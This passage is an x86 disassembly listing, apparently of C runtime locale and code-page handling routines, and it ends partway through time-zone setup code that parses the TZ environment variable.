loc_42B064: ; CODE XREF: sub_42B010+3Ej
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_49231C
push edx
call sub_42F560
add esp, 8
test eax, eax
jnz loc_42B19F
push 78h
lea eax, [ebp+var_78]
push eax
mov ecx, dword_492314
neg ecx
sbb ecx, ecx
and ecx, 0FFFFF002h
add ecx, 1001h
push ecx
mov edx, [ebp+var_7C]
push edx
call dword_492328
test eax, eax
jnz short loc_42B0BE
mov dword_492320, 0
mov eax, 1
jmp loc_42B32E
; ---------------------------------------------------------------------------
loc_42B0BE: ; CODE XREF: sub_42B010+98j
lea eax, [ebp+var_78]
push eax
mov ecx, dword_492318
push ecx
call sub_42F560
add esp, 8
test eax, eax
jnz short loc_42B100
mov edx, dword_492320
or edx, 304h
mov dword_492320, edx
mov eax, [ebp+var_7C]
mov dword_492324, eax
mov ecx, dword_492324
mov dword_492308, ecx
jmp loc_42B19F
; ---------------------------------------------------------------------------
loc_42B100: ; CODE XREF: sub_42B010+C3j
mov edx, dword_492320
and edx, 2
test edx, edx
jnz loc_42B19F
cmp dword_492310, 0
jz short loc_42B16D
mov eax, dword_492310
push eax
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_492318
push edx
call sub_42F630
add esp, 0Ch
test eax, eax
jnz short loc_42B16D
mov eax, dword_492320
or al, 2
mov dword_492320, eax
mov ecx, [ebp+var_7C]
mov dword_492324, ecx
mov edx, dword_492318
push edx
call sub_418E70
add esp, 4
cmp eax, dword_492310
jnz short loc_42B16B
mov eax, [ebp+var_7C]
mov dword_492308, eax
loc_42B16B: ; CODE XREF: sub_42B010+151j
jmp short loc_42B19F
; ---------------------------------------------------------------------------
loc_42B16D: ; CODE XREF: sub_42B010+108j
; sub_42B010+125j
mov ecx, dword_492320
and ecx, 1
test ecx, ecx
jnz short loc_42B19F
mov edx, [ebp+var_7C]
push edx
call sub_42B6B0
add esp, 4
test eax, eax
jz short loc_42B19F
mov eax, dword_492320
or al, 1
mov dword_492320, eax
mov ecx, [ebp+var_7C]
mov dword_492324, ecx
loc_42B19F: ; CODE XREF: sub_42B010+69j
; sub_42B010+EBj ...
mov edx, dword_492320
and edx, 300h
cmp edx, 300h
jz loc_42B321
push 78h
lea eax, [ebp+var_78]
push eax
mov ecx, dword_492314
neg ecx
sbb ecx, ecx
and ecx, 0FFFFF002h
add ecx, 1001h
push ecx
mov edx, [ebp+var_7C]
push edx
call dword_492328
test eax, eax
jnz short loc_42B1F6
mov dword_492320, 0
mov eax, 1
jmp loc_42B32E
; ---------------------------------------------------------------------------
loc_42B1F6: ; CODE XREF: sub_42B010+1D0j
lea eax, [ebp+var_78]
push eax
mov ecx, dword_492318
push ecx
call sub_42F560
add esp, 8
test eax, eax
jnz loc_42B2C0
mov edx, dword_492320
or dh, 2
mov dword_492320, edx
cmp dword_492314, 0
jz short loc_42B24A
mov eax, dword_492320
or ah, 1
mov dword_492320, eax
cmp dword_492308, 0
jnz short loc_42B248
mov ecx, [ebp+var_7C]
mov dword_492308, ecx
loc_42B248: ; CODE XREF: sub_42B010+22Dj
jmp short loc_42B2BE
; ---------------------------------------------------------------------------
loc_42B24A: ; CODE XREF: sub_42B010+217j
cmp dword_492310, 0
jz short loc_42B29F
mov edx, dword_492318
push edx
call sub_418E70
add esp, 4
cmp eax, dword_492310
jnz short loc_42B29F
push 1
mov eax, [ebp+var_7C]
push eax
call sub_42B700
add esp, 8
test eax, eax
jz short loc_42B29D
mov ecx, dword_492320
or ch, 1
mov dword_492320, ecx
cmp dword_492308, 0
jnz short loc_42B29D
mov edx, [ebp+var_7C]
mov dword_492308, edx
loc_42B29D: ; CODE XREF: sub_42B010+26Aj
; sub_42B010+282j
jmp short loc_42B2BE
; ---------------------------------------------------------------------------
loc_42B29F: ; CODE XREF: sub_42B010+241j
; sub_42B010+258j
mov eax, dword_492320
or ah, 1
mov dword_492320, eax
cmp dword_492308, 0
jnz short loc_42B2BE
mov ecx, [ebp+var_7C]
mov dword_492308, ecx
loc_42B2BE: ; CODE XREF: sub_42B010:loc_42B248j
; sub_42B010:loc_42B29Dj ...
jmp short loc_42B321
; ---------------------------------------------------------------------------
loc_42B2C0: ; CODE XREF: sub_42B010+1FBj
cmp dword_492314, 0
jnz short loc_42B321
cmp dword_492310, 0
jz short loc_42B321
mov edx, dword_492310
push edx
lea eax, [ebp+var_78]
push eax
mov ecx, dword_492318
push ecx
call sub_42F630
add esp, 0Ch
test eax, eax
jnz short loc_42B321
push 0
mov edx, [ebp+var_7C]
push edx
call sub_42B700
add esp, 8
test eax, eax
jz short loc_42B321
mov eax, dword_492320
or ah, 1
mov dword_492320, eax
cmp dword_492308, 0
jnz short loc_42B321
mov ecx, [ebp+var_7C]
mov dword_492308, ecx
loc_42B321: ; CODE XREF: sub_42B010+1A1j
; sub_42B010:loc_42B2BEj ...
mov eax, dword_492320
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_42B32E: ; CODE XREF: sub_42B010+4Fj
; sub_42B010+A9j ...
mov esp, ebp
pop ebp
retn 4
sub_42B010 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B340 proc near ; CODE XREF: sub_42ACC0:loc_42ADA6p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, dword_492318
push eax
call sub_418E70
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov dword_492314, ecx
cmp dword_492314, 0
jz short loc_42B372
mov [ebp+var_4], 2
jmp short loc_42B384
; ---------------------------------------------------------------------------
loc_42B372: ; CODE XREF: sub_42B340+27j
mov edx, dword_492318
push edx
call sub_42B9F0
add esp, 4
mov [ebp+var_4], eax
loc_42B384: ; CODE XREF: sub_42B340+30j
mov eax, [ebp+var_4]
mov dword_492310, eax
push 1
push offset sub_42B3C0
call ds:dword_4942AC
mov ecx, dword_492320
and ecx, 4
test ecx, ecx
jnz short loc_42B3B0
mov dword_492320, 0
loc_42B3B0: ; CODE XREF: sub_42B340+64j
mov esp, ebp
pop ebp
retn
sub_42B340 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B3C0 proc near ; DATA XREF: sub_42B340+4Eo
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_42B970
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_492314
neg edx
sbb edx, edx
and edx, 0FFFFF002h
add edx, 1001h
push edx
mov eax, [ebp+var_7C]
push eax
call dword_492328
test eax, eax
jnz short loc_42B414
mov dword_492320, 0
mov eax, 1
jmp loc_42B4D9
; ---------------------------------------------------------------------------
loc_42B414: ; CODE XREF: sub_42B3C0+3Ej
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_492318
push edx
call sub_42F560
add esp, 8
test eax, eax
jnz short loc_42B469
cmp dword_492314, 0
jnz short loc_42B446
push 1
mov eax, [ebp+var_7C]
push eax
call sub_42B700
add esp, 8
test eax, eax
jz short loc_42B467
loc_42B446: ; CODE XREF: sub_42B3C0+72j
mov ecx, [ebp+var_7C]
mov dword_492324, ecx
mov edx, dword_492324
mov dword_492308, edx
mov eax, dword_492320
or al, 4
mov dword_492320, eax
loc_42B467: ; CODE XREF: sub_42B3C0+84j
jmp short loc_42B4CC
; ---------------------------------------------------------------------------
loc_42B469: ; CODE XREF: sub_42B3C0+69j
cmp dword_492314, 0
jnz short loc_42B4CC
cmp dword_492310, 0
jz short loc_42B4CC
mov ecx, dword_492310
push ecx
lea edx, [ebp+var_78]
push edx
mov eax, dword_492318
push eax
call sub_42F630
add esp, 0Ch
test eax, eax
jnz short loc_42B4CC
push 0
mov ecx, [ebp+var_7C]
push ecx
call sub_42B700
add esp, 8
test eax, eax
jz short loc_42B4CC
mov edx, [ebp+var_7C]
mov dword_492324, edx
mov eax, dword_492324
mov dword_492308, eax
mov ecx, dword_492320
or ecx, 4
mov dword_492320, ecx
loc_42B4CC: ; CODE XREF: sub_42B3C0:loc_42B467j
; sub_42B3C0+B0j ...
mov eax, dword_492320
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_42B4D9: ; CODE XREF: sub_42B3C0+4Fj
mov esp, ebp
pop ebp
retn 4
sub_42B3C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B4E0 proc near ; CODE XREF: sub_42ACC0+102p
push ebp
mov ebp, esp
mov eax, dword_49231C
push eax
call sub_418E70
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov dword_49230C, ecx
push 1
push offset sub_42B530
call ds:dword_4942AC
mov edx, dword_492320
and edx, 4
test edx, edx
jnz short loc_42B523
mov dword_492320, 0
loc_42B523: ; CODE XREF: sub_42B4E0+37j
pop ebp
retn
sub_42B4E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B530 proc near ; DATA XREF: sub_42B4E0+21o
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_42B970
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_49230C
neg edx
sbb edx, edx
and edx, 0FFFFF005h
add edx, 1002h
push edx
mov eax, [ebp+var_7C]
push eax
call dword_492328
test eax, eax
jnz short loc_42B581
mov dword_492320, 0
mov eax, 1
jmp short loc_42B5D6
; ---------------------------------------------------------------------------
loc_42B581: ; CODE XREF: sub_42B530+3Ej
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_49231C
push edx
call sub_42F560
add esp, 8
test eax, eax
jnz short loc_42B5C9
mov eax, [ebp+var_7C]
push eax
call sub_42B6B0
add esp, 4
test eax, eax
jz short loc_42B5C9
mov ecx, [ebp+var_7C]
mov dword_492324, ecx
mov edx, dword_492324
mov dword_492308, edx
mov eax, dword_492320
or al, 4
mov dword_492320, eax
loc_42B5C9: ; CODE XREF: sub_42B530+66j
; sub_42B530+76j
mov eax, dword_492320
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_42B5D6: ; CODE XREF: sub_42B530+4Fj
mov esp, ebp
pop ebp
retn 4
sub_42B530 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B5E0 proc near ; CODE XREF: sub_42ACC0+38p
; sub_42ACC0:loc_42ADC9p
push ebp
mov ebp, esp
mov eax, dword_492320
or eax, 104h
mov dword_492320, eax
call ds:dword_4942A8
mov dword_492324, eax
mov ecx, dword_492324
mov dword_492308, ecx
pop ebp
retn
sub_42B5E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B610 proc near ; CODE XREF: sub_42ACC0+128p
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jz short loc_42B63B
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42B63B
push offset aAcp ; "ACP"
mov edx, [ebp+arg_0]
push edx
call sub_419360
add esp, 8
test eax, eax
jnz short loc_42B663
loc_42B63B: ; CODE XREF: sub_42B610+Aj
; sub_42B610+14j
push 8
lea eax, [ebp+var_8]
push eax
push 1004h
mov ecx, dword_492324
push ecx
call dword_492328
test eax, eax
jnz short loc_42B65B
xor eax, eax
jmp short loc_42B6A7
; ---------------------------------------------------------------------------
loc_42B65B: ; CODE XREF: sub_42B610+45j
lea edx, [ebp+var_8]
mov [ebp+arg_0], edx
jmp short loc_42B69B
; ---------------------------------------------------------------------------
loc_42B663: ; CODE XREF: sub_42B610+29j
push offset aOcp ; "OCP"
mov eax, [ebp+arg_0]
push eax
call sub_419360
add esp, 8
test eax, eax
jnz short loc_42B69B
push 8
lea ecx, [ebp+var_8]
push ecx
push 0Bh
mov edx, dword_492324
push edx
call dword_492328
test eax, eax
jnz short loc_42B695
xor eax, eax
jmp short loc_42B6A7
; ---------------------------------------------------------------------------
loc_42B695: ; CODE XREF: sub_42B610+7Fj
lea eax, [ebp+var_8]
mov [ebp+arg_0], eax
loc_42B69B: ; CODE XREF: sub_42B610+51j
; sub_42B610+66j
mov ecx, [ebp+arg_0]
push ecx
call sub_4194F0
add esp, 4
loc_42B6A7: ; CODE XREF: sub_42B610+49j
; sub_42B610+83j
mov esp, ebp
pop ebp
retn
sub_42B610 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B6B0 proc near ; CODE XREF: sub_42B010+16Ep
; sub_42B530+6Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov ax, [ebp+arg_0]
mov word ptr [ebp+var_4], ax
mov [ebp+var_8], 0
jmp short loc_42B6D0
; ---------------------------------------------------------------------------
loc_42B6C7: ; CODE XREF: sub_42B6B0:loc_42B6F4j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_42B6D0: ; CODE XREF: sub_42B6B0+15j
cmp [ebp+var_8], 0Ah
jnb short loc_42B6F6
mov edx, [ebp+var_4]
and edx, 0FFFFh
mov eax, [ebp+var_8]
xor ecx, ecx
mov cx, word_443BF4[eax*2]
cmp edx, ecx
jnz short loc_42B6F4
xor eax, eax
jmp short loc_42B6FB
; ---------------------------------------------------------------------------
loc_42B6F4: ; CODE XREF: sub_42B6B0+3Ej
jmp short loc_42B6C7
; ---------------------------------------------------------------------------
loc_42B6F6: ; CODE XREF: sub_42B6B0+24j
mov eax, 1
loc_42B6FB: ; CODE XREF: sub_42B6B0+42j
mov esp, ebp
pop ebp
retn
sub_42B6B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B700 proc near ; CODE XREF: sub_42B010+260p
; sub_42B010+2E6p ...
var_7C = byte ptr -7Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7Ch
push esi
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 3FFh
and eax, 0FFFFh
or ah, 4
and eax, 0FFFFh
mov [ebp+var_4], eax
push 78h
lea ecx, [ebp+var_7C]
push ecx
push 1
mov edx, [ebp+var_4]
push edx
call dword_492328
test eax, eax
jnz short loc_42B73E
xor eax, eax
jmp short loc_42B782
; ---------------------------------------------------------------------------
loc_42B73E: ; CODE XREF: sub_42B700+38j
lea eax, [ebp+var_7C]
push eax
call sub_42B970
add esp, 4
cmp [ebp+arg_0], eax
jz short loc_42B77D
cmp [ebp+arg_4], 0
jz short loc_42B77D
mov ecx, dword_492318
push ecx
call sub_42B9F0
add esp, 4
mov esi, eax
mov edx, dword_492318
push edx
call sub_418E70
add esp, 4
cmp esi, eax
jnz short loc_42B77D
xor eax, eax
jmp short loc_42B782
; ---------------------------------------------------------------------------
loc_42B77D: ; CODE XREF: sub_42B700+4Dj
; sub_42B700+53j ...
mov eax, 1
loc_42B782: ; CODE XREF: sub_42B700+3Cj
; sub_42B700+7Bj
pop esi
mov esp, ebp
pop ebp
retn
sub_42B700 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B790 proc near ; CODE XREF: sub_42ACC0+Fp
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 98h
mov [ebp+var_94], 94h
lea eax, [ebp+var_94]
push eax
call ds:dword_4943F4
test eax, eax
jz short loc_42B7C9
cmp [ebp+var_84], 2
jnz short loc_42B7C9
mov [ebp+var_98], 1
jmp short loc_42B7D3
; ---------------------------------------------------------------------------
loc_42B7C9: ; CODE XREF: sub_42B790+22j
; sub_42B790+2Bj
mov [ebp+var_98], 0
loc_42B7D3: ; CODE XREF: sub_42B790+37j
mov eax, [ebp+var_98]
mov esp, ebp
pop ebp
retn
sub_42B790 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B7E0 proc near ; DATA XREF: sub_42ACC0:loc_42ACE2o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_10], 0
mov [ebp+var_4], 1Ah
mov [ebp+var_8], 0
loc_42B7FB: ; CODE XREF: sub_42B7E0:loc_42B943j
mov eax, [ebp+var_10]
cmp eax, [ebp+var_4]
jg loc_42B948
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
imul ecx, 2Ch
mov edx, [ebp+arg_0]
cmp edx, dword_443750[ecx]
jnz loc_42B91E
mov eax, [ebp+arg_4]
mov [ebp+var_14], eax
cmp [ebp+var_14], 0Bh
ja short loc_42B857
cmp [ebp+var_14], 0Bh
jz loc_42B8C9
cmp [ebp+var_14], 1
jz short loc_42B874
cmp [ebp+var_14], 3
jz short loc_42B896
cmp [ebp+var_14], 7
jz short loc_42B8B8
jmp loc_42B8E8
; ---------------------------------------------------------------------------
loc_42B857: ; CODE XREF: sub_42B7E0+54j
cmp [ebp+var_14], 1001h
jz short loc_42B885
cmp [ebp+var_14], 1002h
jz short loc_42B8A7
cmp [ebp+var_14], 1004h
jz short loc_42B8DA
jmp short loc_42B8E8
; ---------------------------------------------------------------------------
loc_42B874: ; CODE XREF: sub_42B7E0+64j
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset a040a ; "040a"
mov [ebp+var_8], ecx
jmp short loc_42B8E8
; ---------------------------------------------------------------------------
loc_42B885: ; CODE XREF: sub_42B7E0+7Ej
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, off_44375C[edx]
mov [ebp+var_8], eax
jmp short loc_42B8E8
; ---------------------------------------------------------------------------
loc_42B896: ; CODE XREF: sub_42B7E0+6Aj
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset dword_443760
mov [ebp+var_8], ecx
jmp short loc_42B8E8
; ---------------------------------------------------------------------------
loc_42B8A7: ; CODE XREF: sub_42B7E0+87j
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, off_443764[edx]
mov [ebp+var_8], eax
jmp short loc_42B8E8
; ---------------------------------------------------------------------------
loc_42B8B8: ; CODE XREF: sub_42B7E0+70j
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset dword_443768
mov [ebp+var_8], ecx
jmp short loc_42B8E8
; ---------------------------------------------------------------------------
loc_42B8C9: ; CODE XREF: sub_42B7E0+5Aj
mov edx, [ebp+var_C]
imul edx, 2Ch
add edx, offset dword_44376C
mov [ebp+var_8], edx
jmp short loc_42B8E8
; ---------------------------------------------------------------------------
loc_42B8DA: ; CODE XREF: sub_42B7E0+90j
mov eax, [ebp+var_C]
imul eax, 2Ch
add eax, offset a1252 ; "1252"
mov [ebp+var_8], eax
loc_42B8E8: ; CODE XREF: sub_42B7E0+72j
; sub_42B7E0+92j ...
cmp [ebp+var_8], 0
jz short loc_42B8F4
cmp [ebp+arg_C], 1
jge short loc_42B8F6
loc_42B8F4: ; CODE XREF: sub_42B7E0+10Cj
jmp short loc_42B948
; ---------------------------------------------------------------------------
loc_42B8F6: ; CODE XREF: sub_42B7E0+112j
mov ecx, [ebp+arg_C]
sub ecx, 1
push ecx
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_4191A0
add esp, 0Ch
mov ecx, [ebp+arg_8]
add ecx, [ebp+arg_C]
mov byte ptr [ecx-1], 0
mov eax, 1
jmp short loc_42B95E
; ---------------------------------------------------------------------------
loc_42B91E: ; CODE XREF: sub_42B7E0+44j
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, [ebp+arg_0]
cmp eax, dword_443750[edx]
jnb short loc_42B93A
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42B943
; ---------------------------------------------------------------------------
loc_42B93A: ; CODE XREF: sub_42B7E0+14Dj
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_10], edx
loc_42B943: ; CODE XREF: sub_42B7E0+158j
jmp loc_42B7FB
; ---------------------------------------------------------------------------
loc_42B948: ; CODE XREF: sub_42B7E0+21j
; sub_42B7E0:loc_42B8F4j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4943F0
loc_42B95E: ; CODE XREF: sub_42B7E0+13Cj
mov esp, ebp
pop ebp
retn 10h
sub_42B7E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B970 proc near ; CODE XREF: sub_42B010+Ap
; sub_42B3C0+Ap ...
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
loc_42B97D: ; CODE XREF: sub_42B970+6Dj
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_8], cl
movsx edx, [ebp+var_8]
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
test edx, edx
jz short loc_42B9DF
movsx ecx, [ebp+var_8]
cmp ecx, 61h
jl short loc_42B9B2
movsx edx, [ebp+var_8]
cmp edx, 66h
jg short loc_42B9B2
mov al, [ebp+var_8]
add al, 0D9h
mov [ebp+var_8], al
jmp short loc_42B9CC
; ---------------------------------------------------------------------------
loc_42B9B2: ; CODE XREF: sub_42B970+2Dj
; sub_42B970+36j
movsx ecx, [ebp+var_8]
cmp ecx, 41h
jl short loc_42B9CC
movsx edx, [ebp+var_8]
cmp edx, 46h
jg short loc_42B9CC
mov al, [ebp+var_8]
add al, 0F9h
mov [ebp+var_8], al
loc_42B9CC: ; CODE XREF: sub_42B970+40j
; sub_42B970+49j ...
mov ecx, [ebp+var_4]
shl ecx, 4
movsx edx, [ebp+var_8]
lea eax, [ecx+edx-30h]
mov [ebp+var_4], eax
jmp short loc_42B97D
; ---------------------------------------------------------------------------
loc_42B9DF: ; CODE XREF: sub_42B970+24j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42B970 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B9F0 proc near ; CODE XREF: sub_42AF50+60p
; sub_42B340+39p ...
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_4], cl
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
loc_42BA0E: ; CODE XREF: sub_42B9F0+5Cj
movsx eax, [ebp+var_4]
cmp eax, 41h
jl short loc_42BA20
movsx ecx, [ebp+var_4]
cmp ecx, 5Ah
jle short loc_42BA32
loc_42BA20: ; CODE XREF: sub_42B9F0+25j
movsx edx, [ebp+var_4]
cmp edx, 61h
jl short loc_42BA4E
movsx eax, [ebp+var_4]
cmp eax, 7Ah
jg short loc_42BA4E
loc_42BA32: ; CODE XREF: sub_42B9F0+2Ej
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ebp+var_4], al
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
jmp short loc_42BA0E
; ---------------------------------------------------------------------------
loc_42BA4E: ; CODE XREF: sub_42B9F0+37j
; sub_42B9F0+40j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_42B9F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BA60 proc near ; CODE XREF: sub_423ED0+8Ap
; sub_42E360:loc_42E87Bp
push ebp
mov ebp, esp
cmp dword_4923E8, 0
jnz short loc_42BA9B
push 0Bh
call sub_41BC90
add esp, 4
cmp dword_4923E8, 0
jnz short loc_42BA91
call sub_42BAC0
mov eax, dword_4923E8
add eax, 1
mov dword_4923E8, eax
loc_42BA91: ; CODE XREF: sub_42BA60+1Dj
push 0Bh
call sub_41BD30
add esp, 4
loc_42BA9B: ; CODE XREF: sub_42BA60+Aj
pop ebp
retn
sub_42BA60 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0Bh
call sub_41BC90
add esp, 4
call sub_42BAC0
push 0Bh
call sub_41BD30
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BAC0 proc near ; CODE XREF: sub_42BA60+1Fp
; .text:0042BAADp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
push 0Ch
call sub_41BC90
add esp, 4
mov dword_492330, 0
mov dword_443F70, 0FFFFFFFFh
mov eax, dword_443F70
mov dword_443F60, eax
push offset aTz ; "TZ"
call sub_42F770
add esp, 4
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz loc_42BC43
push 0Ch
call sub_41BD30
add esp, 4
push offset dword_492338
call ds:dword_49441C
cmp eax, 0FFFFFFFFh
jz loc_42BC3E
mov dword_492330, 1
mov ecx, dword_492338
imul ecx, 3Ch
mov dword_443EC8, ecx
xor edx, edx
mov dx, word_49237E
test edx, edx
jz short loc_42BB69
mov eax, dword_49238C
imul eax, 3Ch
mov ecx, dword_443EC8
add ecx, eax
mov dword_443EC8, ecx
loc_42BB69: ; CODE XREF: sub_42BAC0+91j
xor edx, edx
mov dx, word_4923D2
test edx, edx
jz short loc_42BB9E
cmp dword_4923E0, 0
jz short loc_42BB9E
mov dword_443ECC, 1
mov eax, dword_4923E0
sub eax, dword_49238C
imul eax, 3Ch
mov dword_443ED0, eax
jmp short loc_42BBB2
; ---------------------------------------------------------------------------
loc_42BB9E: ; CODE XREF: sub_42BAC0+B4j
; sub_42BAC0+BDj
mov dword_443ECC, 0
mov dword_443ED0, 0
loc_42BBB2: ; CODE XREF: sub_42BAC0+DCj
lea ecx, [ebp+var_8]
push ecx
push 0
push 3Fh
mov edx, off_443F54
push edx
push 0FFFFFFFFh
push offset dword_49233C
push 220h
mov eax, dword_492180
push eax
call ds:dword_4943B0
test eax, eax
jz short loc_42BBEF
cmp [ebp+var_8], 0
jnz short loc_42BBEF
mov ecx, off_443F54
mov byte ptr [ecx+3Fh], 0
jmp short loc_42BBF8
; ---------------------------------------------------------------------------
loc_42BBEF: ; CODE XREF: sub_42BAC0+11Bj
; sub_42BAC0+121j
mov edx, off_443F54
mov byte ptr [edx], 0
loc_42BBF8: ; CODE XREF: sub_42BAC0+12Dj
lea eax, [ebp+var_8]
push eax
push 0
push 3Fh
mov ecx, off_443F58
push ecx
push 0FFFFFFFFh
push offset dword_492390
push 220h
mov edx, dword_492180
push edx
call ds:dword_4943B0
test eax, eax
jz short loc_42BC35
cmp [ebp+var_8], 0
jnz short loc_42BC35
mov eax, off_443F58
mov byte ptr [eax+3Fh], 0
jmp short loc_42BC3E
; ---------------------------------------------------------------------------
loc_42BC35: ; CODE XREF: sub_42BAC0+162j
; sub_42BAC0+168j
mov ecx, off_443F58
mov byte ptr [ecx], 0
loc_42BC3E: ; CODE XREF: sub_42BAC0+67j
; sub_42BAC0+173j
jmp loc_42BE67
; ---------------------------------------------------------------------------
loc_42BC43: ; CODE XREF: sub_42BAC0+49j
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42BC6D
cmp dword_4923E4, 0
jz short loc_42BC7C
mov ecx, dword_4923E4
push ecx
mov edx, [ebp+var_C]
push edx
call sub_419360
add esp, 8
test eax, eax
jnz short loc_42BC7C
loc_42BC6D: ; CODE XREF: sub_42BAC0+18Bj
push 0Ch
call sub_41BD30
add esp, 4
jmp loc_42BE67
; ---------------------------------------------------------------------------
loc_42BC7C: ; CODE XREF: sub_42BAC0+194j
; sub_42BAC0+1ABj
push 2
mov eax, dword_4923E4
push eax
call sub_4174C0
add esp, 8
push 10Ch
push offset aTzset_c ; "tzset.c"
push 2
mov ecx, [ebp+var_C]
push ecx
call sub_418E70
add esp, 4
add eax, 1
push eax
call sub_416A30
add esp, 10h
mov dword_4923E4, eax
cmp dword_4923E4, 0
jnz short loc_42BCCD
push 0Ch
call sub_41BD30
add esp, 4
jmp loc_42BE67
; ---------------------------------------------------------------------------
loc_42BCCD: ; CODE XREF: sub_42BAC0+1FCj
mov edx, [ebp+var_C]
push edx
mov eax, dword_4923E4
push eax
call sub_419FA0
add esp, 8
push 0Ch
call sub_41BD30
add esp, 4
push 3
mov ecx, [ebp+var_C]
push ecx
mov edx, off_443F54
push edx
call sub_4191A0
add esp, 0Ch
mov eax, off_443F54
mov byte ptr [eax+3], 0
mov ecx, [ebp+var_C]
add ecx, 3
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 2Dh
